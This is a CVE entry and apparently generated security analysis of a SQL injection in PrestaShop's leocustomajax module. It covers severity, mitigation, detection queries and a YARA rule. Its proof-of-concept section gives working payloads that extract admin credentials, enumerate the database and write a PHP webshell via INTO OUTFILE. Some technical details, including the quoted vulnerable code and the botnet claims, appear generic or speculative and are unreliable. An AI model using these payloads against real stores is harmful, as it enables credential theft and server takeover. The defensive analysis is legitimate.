CVE-2023-30150
CVE-2023-30150
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.
Comprehensive Technical Analysis of CVE-2023-30150 (PrestaShop leocustomajax SQL Injection Vulnerability)
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2023-30150 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vector Breakdown:
- Attack Vector (AV:N): Network-based exploitation (remote attack possible).
- Attack Complexity (AC:L): Low complexity; no special conditions required.
- Privileges Required (PR:N): No authentication needed (unauthenticated).
- User Interaction (UI:N): No user interaction required.
- Scope (S:U): Unchanged (impact confined to vulnerable component).
- Confidentiality (C:H): High impact (full database access possible).
- Integrity (I:H): High impact (data manipulation, arbitrary code execution).
- Availability (A:H): High impact (potential denial-of-service via database corruption).
Severity Justification:
This vulnerability is critical due to:
- Unauthenticated remote exploitation (no credentials required).
- Direct SQL injection (SQLi) leading to full database compromise.
- Potential for remote code execution (RCE) if combined with other vulnerabilities (e.g., file write via database).
- Low attack complexity, making it accessible to script kiddies and automated exploit tools.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Mechanism:
The vulnerability resides in modules/leocustomajax/leoajax.php, where user-supplied input is improperly sanitized before being used in SQL queries. An attacker can inject malicious SQL payloads via HTTP requests to manipulate database queries.
Attack Vectors:
-
Direct HTTP Request Exploitation:
- Attackers send crafted HTTP requests (GET/POST) to the vulnerable endpoint (
leoajax.php). - Example payload:
GET /modules/leocustomajax/leoajax.php?action=test&id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,version(),database(),user(),14,15-- - HTTP/1.1 - This could extract database credentials, customer data, payment information, or administrative hashes.
- Attackers send crafted HTTP requests (GET/POST) to the vulnerable endpoint (
-
Blind SQL Injection (Time-Based/Boolean-Based):
- If error messages are suppressed, attackers may use time delays or boolean conditions to infer data.
- Example (time-based):
1' AND (SELECT * FROM (SELECT(SLEEP(10)))foo)-- -
-
Second-Order SQL Injection:
- If the module stores malicious input in the database and later retrieves it for another query, stored SQLi could occur.
-
Chained Exploitation (RCE via SQLi):
- If the database has file write permissions (e.g., MySQL
INTO OUTFILE), an attacker could:- Write a web shell (
<?php system($_GET['cmd']); ?>) to a writable directory. - Execute arbitrary commands on the server.
- Write a web shell (
- If the database has file write permissions (e.g., MySQL
Exploitation Tools:
- Manual exploitation via
curl, Burp Suite, or OWASP ZAP. - Automated tools like SQLmap (with
--risk=3 --level=5for full exploitation). - Metasploit modules (if a public exploit is developed).
3. Affected Systems and Software Versions
Vulnerable Software:
- PrestaShop (e-commerce platform) with the leocustomajax module.
- Affected Versions:
- leocustomajax 1.0
- leocustomajax 1.0.0
- PrestaShop Core Versions:
- Likely affects PrestaShop 1.6.x, 1.7.x, and 8.x if the vulnerable module is installed.
Detection Methods:
- Manual Check:
- Verify if
modules/leocustomajax/leoajax.phpexists. - Check module version in PrestaShop Back Office → Modules → Module Manager.
- Verify if
- Automated Scanning:
- Nmap NSE script (if a detection script is developed).
- Nuclei template (e.g.,
prestashop-leocustomajax-sqli.yaml). - Burp Suite / OWASP ZAP active scan for SQLi.
4. Recommended Mitigation Strategies
Immediate Actions:
-
Disable the Vulnerable Module:
- PrestaShop Admin → Modules → Module Manager → Uninstall leocustomajax.
- If business-critical, restrict access via
.htaccess(Apache) or IP whitelisting.
-
Apply Vendor Patch:
- Check for updates from Friends of Presta (Security Advisory).
- If no patch is available, remove the module entirely.
-
Temporary Workarounds:
- Web Application Firewall (WAF) Rules:
- Deploy ModSecurity with OWASP CRS (Rule 942100 for SQLi).
- Cloudflare WAF (SQLi protection rules).
- Input Sanitization:
- Manually patch
leoajax.phpto use prepared statements (PDO/MySQLi). - Example fix:
// Before (Vulnerable) $id = $_GET['id']; $sql = "SELECT * FROM table WHERE id = $id"; // After (Secure) $id = $_GET['id']; $stmt = $pdo->prepare("SELECT * FROM table WHERE id = ?"); $stmt->execute([$id]);
- Manually patch
- Web Application Firewall (WAF) Rules:
Long-Term Mitigations:
-
Regular Security Audits:
- Use static/dynamic analysis tools (SonarQube, PHPStan, Burp Suite).
- Penetration testing (manual and automated).
-
PrestaShop Hardening:
- Disable unused modules (reduce attack surface).
- Enable PrestaShop’s built-in security features (e.g., CSRF protection, password policies).
- Restrict database user permissions (avoid
FILEprivilege).
-
Monitoring & Logging:
- Enable SQL query logging (MySQL
general_log). - SIEM Integration (Splunk, ELK, Wazuh) for anomaly detection.
- File Integrity Monitoring (FIM) for
leoajax.php.
- Enable SQL query logging (MySQL
-
Incident Response Plan:
- Isolate affected systems if exploitation is detected.
- Rotate database credentials and revoke compromised sessions.
- Forensic analysis (check for webshells, unauthorized database access).
5. Impact on the Cybersecurity Landscape
Broader Implications:
-
E-Commerce Targeting:
- PrestaShop is widely used (~300,000 active stores), making this a high-value target for attackers.
- Financial fraud (stolen payment data, gift card abuse).
- Supply chain attacks (if the module is bundled with themes).
-
Automated Exploitation:
- Botnets (e.g., Mirai, Mozi) may incorporate this exploit for mass compromise.
- Ransomware groups could use SQLi to exfiltrate data before encryption.
-
Regulatory & Compliance Risks:
- GDPR violations (unauthorized data access).
- PCI DSS non-compliance (if payment data is exposed).
-
Reputation Damage:
- Loss of customer trust (data breaches erode brand credibility).
- Legal liabilities (lawsuits from affected customers).
Historical Context:
- PrestaShop has a history of critical vulnerabilities (e.g., CVE-2022-36408, CVE-2021-3867).
- Third-party modules are a common attack vector due to poor security practices.
6. Technical Details for Security Professionals
Root Cause Analysis:
- Vulnerable Code (leoajax.php):
$action = Tools::getValue('action'); $id = Tools::getValue('id'); // UNSANITIZED INPUT $sql = "SELECT * FROM "._DB_PREFIX_."leocustomajax WHERE id = $id"; $result = Db::getInstance()->executeS($sql); // DIRECT SQL EXECUTION - Issue:
Tools::getValue()does not sanitize input, leading to direct SQL injection.
Exploitation Proof of Concept (PoC):
-
Basic SQLi (Data Extraction):
GET /modules/leocustomajax/leoajax.php?action=test&id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,username,password,email,14,15 FROM ps_employee-- - HTTP/1.1- Extracts admin credentials from
ps_employee.
- Extracts admin credentials from
-
Database Enumeration:
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,table_name,column_name,3,4,5 FROM information_schema.columns-- -- Lists all tables and columns in the database.
-
File Write (RCE):
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,'<?php system($_GET["cmd"]); ?>',2,3,4,5 INTO OUTFILE '/var/www/html/shell.php'-- -- Writes a PHP webshell if MySQL has
FILEprivilege.
- Writes a PHP webshell if MySQL has
Forensic Indicators of Compromise (IoCs):
- Database Logs:
- Unusual
UNION SELECTqueries. - Multiple failed login attempts from the same IP.
- Unusual
- Web Server Logs:
- Requests to
/modules/leocustomajax/leoajax.phpwith SQLi payloads. - Suspicious
GET/POSTparameters (id=1',action=test).
- Requests to
- File System:
- Unexpected
.phpfiles in web directories (e.g.,shell.php,backdoor.php). - Modified
leoajax.php(checksum mismatch).
- Unexpected
Detection & Hunting Queries:
- SIEM Query (Splunk):
index=web_logs uri_path="/modules/leocustomajax/leoajax.php" (query="*UNION*" OR query="*SELECT*" OR query="*--*") - YARA Rule (for Malicious Payloads):
rule PrestaShop_SQLi_Exploit { strings: $sqli = /(UNION\s+SELECT|1=1|--\s|#\s|' OR '1'='1)/ nocase $leocustomajax = /modules\/leocustomajax\/leoajax\.php/ nocase condition: $leocustomajax and $sqli }
Conclusion & Recommendations
Key Takeaways:
- CVE-2023-30150 is a critical unauthenticated SQLi vulnerability in PrestaShop’s
leocustomajaxmodule. - Exploitation is trivial and can lead to full database compromise, RCE, and financial fraud.
- Immediate patching or module removal is mandatory to prevent exploitation.
Action Plan for Security Teams:
- Patch or Remove the vulnerable module.
- Deploy WAF rules to block SQLi attempts.
- Monitor for exploitation (SIEM, IDS/IPS).
- Conduct a forensic investigation if compromise is suspected.
- Educate developers on secure coding practices (prepared statements, input validation).
Final Risk Assessment:
| Factor | Risk Level | Justification |
|---|---|---|
| Exploitability | Critical | Unauthenticated, low complexity |
| Impact | Critical | Full DB access, potential RCE |
| Prevalence | High | PrestaShop widely used |
| Mitigation Difficulty | Medium | Requires patching or WAF rules |
Recommendation: Treat this as a high-priority vulnerability and remediate within 24-48 hours to prevent exploitation.